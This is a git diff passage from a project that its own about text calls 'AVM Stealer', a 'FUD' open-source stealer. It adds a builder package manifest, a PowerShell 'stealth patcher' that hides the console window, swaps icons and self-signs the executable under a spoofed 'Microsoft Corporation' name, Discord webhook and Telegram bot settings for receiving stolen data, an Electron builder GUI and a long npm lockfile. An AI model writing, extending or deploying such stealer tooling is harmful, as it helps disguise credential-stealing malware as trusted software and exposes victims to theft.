"node_modules/zip-stream/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + } + } +} diff --git a/build/package.json b/build/package.json new file mode 100644 index 0000000..446de3b --- /dev/null +++ b/build/package.json @@ -0,0 +1,32 @@ +{ + "name": "rxc", + "version": "1.0.0", + "description": "", + "main": "index.js", + "bin": "index.js", + "pkg": { + "assets": [ + "node_modules/sqlite3/build/**/*", + "node_modules/archiver/**/*", + "node_modules/axios/**/*" + ], + "targets": [] + }, + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "keywords": [], + "author": "", + "license": "ISC", + "dependencies": { + "archiver": "^7.0.1", + "axios": "^1.6.7", + "colors": "^1.4.0", + "form-data": "^4.0.0", + "resedit-cli": "^2.1.0", + "sqlite3": "^5.1.7" + }, + "devDependencies": { + "pkg": "^5.3.2" + } +} \ No newline at end of file diff --git a/build/ressources.ps1 b/build/ressources.ps1 new file mode 100644 index 0000000..b18133f --- /dev/null +++ b/build/ressources.ps1 @@ -0,0 +1,225 @@ + +param( + [string]$ExePath, + [string]$IconPath, + [string]$CompanyName = "Microsoft Corporation" +) + +$ErrorActionPreference = "Stop" +$ExePath = (Resolve-Path $ExePath).Path + +Write-Host "`n[+] INITIALIZING UNIFIED STEALH PATCHER" -ForegroundColor Cyan + +$code = @" +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Collections.Generic; + +public class Win32 { + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr BeginUpdateResource(string pFileName, bool bDeleteExistingResources); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool UpdateResource(IntPtr hUpdate, IntPtr lpType, IntPtr lpName, ushort wLanguage, byte[] lpData, uint cbData); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool EndUpdateResource(IntPtr hUpdate, bool fDiscard); + [DllImport("imagehlp.dll")] + public static extern IntPtr MapFileAndCheckSum(string Filename, out uint HeaderSum, out uint CheckSum); + + public static void SetGuiSubsystem(string path) { + using (var fs = new FileStream(path, FileMode.Open, FileAccess.ReadWrite)) { + BinaryReader br = new BinaryReader(fs); + fs.Seek(0x3C, SeekOrigin.Begin); + int pe = br.ReadInt32(); + fs.Seek(pe + 0x5C, SeekOrigin.Begin); + fs.WriteByte(2); + } + } + + public static void RemoveIconResources(IntPtr hUpdate) { + for (ushort i = 1; i < 15; i++) { + UpdateResource(hUpdate, (IntPtr)14, (IntPtr)i, 1033, null, 0); + UpdateResource(hUpdate, (IntPtr)3, (IntPtr)i, 1033, null, 0); + } + } + + public static void InjectIcon(string exe, string ico) { + if (!File.Exists(ico)) throw new FileNotFoundException("Icon file not found", ico); + + byte[] file = File.ReadAllBytes(ico); + if (file.Length < 22) throw new InvalidDataException("Icon file is too small/invalid header."); + + ushort count = BitConverter.ToUInt16(file, 4); + if (file.Length < 6 + (count * 16)) throw new InvalidDataException("Icon header declares " + count + " entries, but file is too small."); + + IntPtr h = BeginUpdateResource(exe, false); + if (h == IntPtr.Zero) throw new Exception("Failed to open executable resource handle."); + + List gDir = new List { 0, 0, 1, 0 }; + gDir.AddRange(BitConverter.GetBytes(count)); + + for (int i = 0; i < count; i++) { + int off = 6 + (i * 16); + if (off + 16 > file.Length) throw new InvalidDataException("Icon entry " + i + " offset out of bounds."); + + uint sz = BitConverter.ToUInt32(file, off + 8); + uint imgOff = BitConverter.ToUInt32(file, off + 12); + + // Validation: Ensure valid image data range + if (imgOff + sz > file.Length) { + Console.WriteLine("[Warning] Skipping Icon " + i + ": Image data out of bounds (Offset: " + imgOff + ", Size: " + sz + ", FileLen: " + file.Length + ")"); + continue; + } + + ushort id = (ushort)(i + 1); + byte[] entry = new byte[14]; + Array.Copy(file, off, entry, 0, 12); + Array.Copy(BitConverter.GetBytes(id), 0, entry, 12, 2); + gDir.AddRange(entry); + + byte[] img = new byte[sz]; + Array.Copy(file, (int)imgOff, img, 0, (int)sz); + + if (!UpdateResource(h, (IntPtr)3, (IntPtr)id, 1033, img, sz)) { + Console.WriteLine("[Warning] Failed to update resource icon " + id); + } + } + UpdateResource(h, (IntPtr)14, (IntPtr)1, 1033, gDir.ToArray(), (uint)gDir.Count); + EndUpdateResource(h, false); + } + + public static void FixSum(string path) { + uint h, c; + MapFileAndCheckSum(path, out h, out c); + using (var fs = new FileStream(path, FileMode.Open, FileAccess.ReadWrite)) { + BinaryReader br = new BinaryReader(fs); + fs.Seek(0x3C, SeekOrigin.Begin); + int pe = br.ReadInt32(); + fs.Seek(pe + 88, SeekOrigin.Begin); + fs.Write(BitConverter.GetBytes(c), 0, 4); + } + } + + public static long[] GetOverlayInfo(string path) { + using (var fs = new FileStream(path, FileMode.Open, FileAccess.Read)) { + var br = new BinaryReader(fs); + fs.Seek(0x3C, SeekOrigin.Begin); + int pe = br.ReadInt32(); + fs.Seek(pe + 6, SeekOrigin.Begin); + int n = br.ReadUInt16(); + fs.Seek(pe + 20, SeekOrigin.Begin); + int szOpt = br.ReadUInt16(); + int tab = pe + 24 + szOpt; + long maxSec = 0; + for (int i = 0; i < n; i++) { + fs.Seek(tab + (i * 40) + 16, SeekOrigin.Begin); + uint sz = br.ReadUInt32(); + uint ptr = br.ReadUInt32(); + if (ptr + sz > maxSec) maxSec = ptr + sz; + } + fs.Seek(pe + 24, SeekOrigin.Begin); + bool is64 = (br.ReadUInt16() == 0x20b); + int baseDir = is64 ? 112 : 96; + fs.Seek(pe + 24 + baseDir + 32, SeekOrigin.Begin); + uint sAddr = br.ReadUInt32(); + uint sSize = br.ReadUInt32(); + long endSig = maxSec; + if (sAddr >= maxSec && sSize > 0) endSig = sAddr + sSize; + return new long[] { maxSec, endSig }; + } + } +} +"@ + +if (-not ([System.Management.Automation.PSTypeName]"Win32").Type) { Add-Type -TypeDefinition $code -Language CSharp } + + +Write-Host "[:] Applying mandatory GUI patch..." -ForegroundColor Cyan +[Win32]::SetGuiSubsystem($ExePath) + + +if ($IconPath -and (Test-Path $IconPath)) { + Write-Host "[:] Applying Icons and Metadata..." -ForegroundColor Cyan + + $Info = [Win32]::GetOverlayInfo($ExePath) + $EndOfSections = $Info[0] + $EndOfSignature = $Info[1] + $PayloadStart = $EndOfSignature + + Write-Host "[:] Detected Payload Start: $PayloadStart" -ForegroundColor DarkGray + if ($PayloadStart -lt 100000) { + # Assuming payload is at least 100KB + Write-Error "CRITICAL: Payload start detection failed (Value too low: $PayloadStart). Aborting to prevent corruption." + exit 1 + } + + $TmpHead = "$ExePath.header.tmp" + $SrcStream = [System.IO.File]::OpenRead($ExePath) + try { + if ($SrcStream.Length -lt $PayloadStart) { + Write-Error "CRITICAL: Source file is smaller than detected payload start! (File: $($SrcStream.Length), PayloadStart: $PayloadStart)" + exit 1 + } + + $HeadBytes = [byte[]]::new($EndOfSections) + $null = $SrcStream.Read($HeadBytes, 0, $EndOfSections) + [System.IO.File]::WriteAllBytes($TmpHead, $HeadBytes) + } + finally { $SrcStream.Close() } + + $hDel = [Win32]::BeginUpdateResource($TmpHead, $false) + if ($hDel -eq [IntPtr]::Zero) { + Write-Error "CRITICAL: Failed to open resource handle for $TmpHead" + exit 1 + } + [Win32]::RemoveIconResources($hDel) + [Win32]::EndUpdateResource($hDel, $false) + + try { + [Win32]::InjectIcon($TmpHead, (Resolve-Path $IconPath).Path) + } + catch { + Write-Warning "ICON INJECTION FAILED: $($_.Exception.Message)" + Write-Warning "Proceeding without Custom Icon..." + } + + $NewSize = (Get-Item $TmpHead).Length + if ($NewSize -gt $PayloadStart) { + $b = [System.IO.File]::ReadAllBytes($TmpHead) + [System.Array]::Resize([ref]$b, $PayloadStart) + [System.IO.File]::WriteAllBytes($TmpHead, $b) + } + + $b = [System.IO.File]::ReadAllBytes($TmpHead) + $pe = [BitConverter]::ToInt32($b, 0x3C) + $secOff = if ([BitConverter]::ToUInt16($b, $pe + 24) -eq 0x20b) { 144 } else { 128 } + [Array]::Clear($b, $pe + 24 + $secOff, 8) + [System.IO.File]::WriteAllBytes($TmpHead, $b) + + $OutExe = "$ExePath.patched" + $OutStream = [System.IO.File]::Create($OutExe) + $HeadStream = [System.IO.File]::OpenRead($TmpHead) + $PayloadStream = [System.IO.File]::OpenRead($ExePath) + try { + $HeadStream.CopyTo($OutStream) + if ($OutStream.Position -lt $PayloadStart) { + $Diff = $PayloadStart - $OutStream.Position + $pad = [byte[]]::new($Diff) + $OutStream.Write($pad, 0, $Diff) + } + $PayloadStream.Seek($PayloadStart, [System.IO.SeekOrigin]::Begin) + $PayloadStream.CopyTo($OutStream) + } + finally { + $HeadStream.Close(); $PayloadStream.Close(); $OutStream.Close() + Remove-Item $TmpHead -Force + } + Move-Item $OutExe $ExePath -Force +} + +[Win32]::FixSum($ExePath) +Write-Host "[:] Signing binary..." -ForegroundColor Cyan +$cert = New-SelfSignedCertificate -Type CodeSigningCert -Subject "CN=$CompanyName" -CertStoreLocation "Cert:\CurrentUser\My" -NotAfter (Get-Date).AddYears(1) +Set-AuthenticodeSignature -FilePath $ExePath -Certificate $cert -HashAlgorithm SHA256 | Out-Null + +Write-Host "[OK] Success: Patch applied (GUI + Resources + Signature)." -ForegroundColor Green diff --git a/gui/about b/gui/about new file mode 100644 index 0000000..f4780bc --- /dev/null +++ b/gui/about @@ -0,0 +1,4 @@ +Thank you for using AVM Stealer!
+ This is a free, FUD, and open-source stealer, if you buy this you get scammed.
+ If you like the project, don't forgot to leave a star on the GitHub repository.
+ Join our Telegram community if you need help or suggest ideas to improve our stealer.
diff --git a/gui/info.json b/gui/info.json new file mode 100644 index 0000000..72518b0 --- /dev/null +++ b/gui/info.json @@ -0,0 +1,5 @@ +{ + "discordWebhookURL": "", + "telegramBotToken": "", + "telegramChatID": "" +} \ No newline at end of file diff --git a/gui/main.js b/gui/main.js new file mode 100644 index 0000000..3005c6d --- /dev/null +++ b/gui/main.js @@ -0,0 +1,66 @@ +const { app, BrowserWindow, ipcMain } = require('electron'); +const path = require('path'); +const fs = require('fs'); +const { exec } = require('child_process'); + +function createWindow() { + const mainWindow = new BrowserWindow({ + width: 1100, + height: 600, + icon: path.join(__dirname, 'src/style/img/icon.ico'), + webPreferences: { + nodeIntegration: true, + contextIsolation: false, + }, + backgroundColor: '#0b0d17' + }); + + mainWindow.loadFile(path.join(__dirname, 'src/index.html')); + mainWindow.setMenuBarVisibility(false); + +} + +app.on('ready', createWindow); + +app.on('window-all-closed', () => { + if (process.platform !== 'darwin') { + app.quit(); + } +}); + +app.on('activate', () => { + if (BrowserWindow.getAllWindows().length === 0) { + createWindow(); + } +}); + + +ipcMain.handle('save-info', async (event, data) => { + const filePath = path.join(app.getPath('userData'), 'settings.json'); + + try { + fs.writeFileSync(filePath, JSON.stringify(data, null, 2), 'utf-8'); + return filePath; + } catch (error) { + throw new Error('Failed to save information: ' + error.message); + } +}); + +ipcMain.handle('get-info', async () => { + const filePath = path.join(app.getPath('userData'), 'settings.json'); + try { + if (fs.existsSync(filePath)) { + const data = fs.readFileSync(filePath, 'utf-8'); + return JSON.parse(data); + } + return null; + } catch (error) { + console.error('Failed to load information:', error); + return null; + } +}); + +ipcMain.handle('open-file-dialog', async (event, options) => { + const { dialog } = require('electron'); + return await dialog.showOpenDialog(options); +}); diff --git a/gui/package-lock.json b/gui/package-lock.json new file mode 100644 index 0000000..58a2844 --- /dev/null +++ b/gui/package-lock.json @@ -0,0 +1,4088 @@ +{ + "name": "avm-builder", + "version": "2.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "avm-builder", + "version": "2.0", + "license": "GPL-3.0-only", + "devDependencies": { + "electron": "^23.3.13", + "electron-builder": "^24.13.3" + } + }, + "node_modules/@develar/schema-utils": { + "version": "2.6.5", + "resolved": "https://registry.npmjs.org/@develar/schema-utils/-/schema-utils-2.6.5.tgz", + "integrity": "sha512-0cp4PsWQ/9avqTVMCtZ+GirikIA36ikvjtHweU4/j8yLtgObI0+JUPhYFScgwlteveGB1rt3Cm8UhN04XayDig==", + "dev": true, + "license": "MIT", + "dependencies": { + "ajv": "^6.12.0", + "ajv-keywords": "^3.4.1" + }, + "engines": { + "node": ">= 8.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/@electron/asar": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/@electron/asar/-/asar-3.4.1.tgz", + "integrity": "sha512-i4/rNPRS84t0vSRa2HorerGRXWyF4vThfHesw0dmcWHp+cspK743UanA0suA5Q5y8kzY2y6YKrvbIUn69BCAiA==", + "dev": true, + "license": "MIT", + "dependencies": { + "commander": "^5.0.0", + "glob": "^7.1.6", + "minimatch": "^3.0.4" + }, + "bin": { + "asar": "bin/asar.js" + }, + "engines": { + "node": ">=10.12.0" + } + }, + "node_modules/@electron/asar/node_modules/brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/@electron/asar/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/@electron/get": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@electron/get/-/get-2.0.3.tgz", + "integrity": "sha512-Qkzpg2s9GnVV2I2BjRksUi43U5e6+zaQMcjoJy0C+C5oxaKl+fmckGDQFtRpZpZV0NQekuZZ+tGz7EA9TVnQtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.1.1", + "env-paths": "^2.2.0", + "fs-extra": "^8.1.0", + "got": "^11.8.5", + "progress": "^2.0.3", + "semver": "^6.2.0", + "sumchecker": "^3.0.1" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "global-agent": "^3.0.0" + } + }, + "node_modules/@electron/notarize": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@electron/notarize/-/notarize-2.2.1.tgz", + "integrity": "sha512-aL+bFMIkpR0cmmj5Zgy0LMKEpgy43/hw5zadEArgmAMWWlKc5buwFvFT9G/o/YJkvXAJm5q3iuTuLaiaXW39sg==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.1.1", + "fs-extra": "^9.0.1", + "promise-retry": "^2.0.1" + }, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/@electron/notarize/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@electron/notarize/node_modules/jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/@electron/notarize/node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/@electron/osx-sign": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/@electron/osx-sign/-/osx-sign-1.0.5.tgz", + "integrity": "sha512-k9ZzUQtamSoweGQDV2jILiRIHUu7lYlJ3c6IEmjv1hC17rclE+eb9U+f6UFlOOETo0JzY1HNlXy4YOlCvl+Lww==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "compare-version": "^0.1.2", + "debug": "^4.3.4", + "fs-extra": "^10.0.0", + "isbinaryfile": "^4.0.8", + "minimist": "^1.2.6", + "plist": "^3.0.5" + }, + "bin": { + "electron-osx-flat": "bin/electron-osx-flat.js", + "electron-osx-sign": "bin/electron-osx-sign.js" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/@electron/osx-sign/node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@electron/osx-sign/node_modules/isbinaryfile": { + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-4.0.10.tgz", + "integrity": "sha512-iHrqe5shvBUcFbmZq9zOQHBoeOhZJu6RQGrDpBgenUm/Am+F3JM2MgQj+rK3Z601fzrL5gLZWtAPH2OBaSVcyw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/gjtorikian/" + } + }, + "node_modules/@electron/osx-sign/node_modules/jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/@electron/osx-sign/node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/@electron/universal": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/@electron/universal/-/universal-1.5.1.tgz", + "integrity": "sha512-kbgXxyEauPJiQQUNG2VgUeyfQNFk6hBF11ISN2PNI6agUgPl55pv4eQmaqHzTAzchBvqZ2tQuRVaPStGf0mxGw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@electron/asar": "^3.2.1", + "@malept/cross-spawn-promise": "^1.1.0", + "debug": "^4.3.1", + "dir-compare": "^3.0.0", + "fs-extra": "^9.0.1", + "minimatch": "^3.0.4", + "plist": "^3.0.4" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/@electron/universal/node_modules/brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/@electron/universal/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@electron/universal/node_modules/jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/@electron/universal/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/@electron/universal/node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", + "dev": true, + "license": "ISC", + "dependencies": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@isaacs/cliui/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@isaacs/cliui/node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@isaacs/cliui/node_modules/strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/@malept/cross-spawn-promise": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@malept/cross-spawn-promise/-/cross-spawn-promise-1.1.1.tgz", + "integrity": "sha512-RTBGWL5FWQcg9orDOCcp4LvItNzUPcyEU9bwaeJX0rJ1IQxzucC48Y0/sQLp/g6t99IQgAlGIaesJS+gTn7tVQ==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/malept" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/subscription/pkg/npm-.malept-cross-spawn-promise?utm_medium=referral&utm_source=npm_fund" + } + ], + "license": "Apache-2.0", + "dependencies": { + "cross-spawn": "^7.0.1" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/@malept/flatpak-bundler": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/@malept/flatpak-bundler/-/flatpak-bundler-0.4.0.tgz", + "integrity": "sha512-9QOtNffcOF/c1seMCDnjckb3R9WHcG34tky+FHpNKKCW0wc/scYLwMtO+ptyGUfMW0/b/n4qRiALlaFHc9Oj7Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.1.1", + "fs-extra": "^9.0.0", + "lodash": "^4.17.15", + "tmp-promise": "^3.0.2" + }, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/@malept/flatpak-bundler/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@malept/flatpak-bundler/node_modules/jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/@malept/flatpak-bundler/node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/@sindresorhus/is": { + "version": "4.6.0", + "resolved": 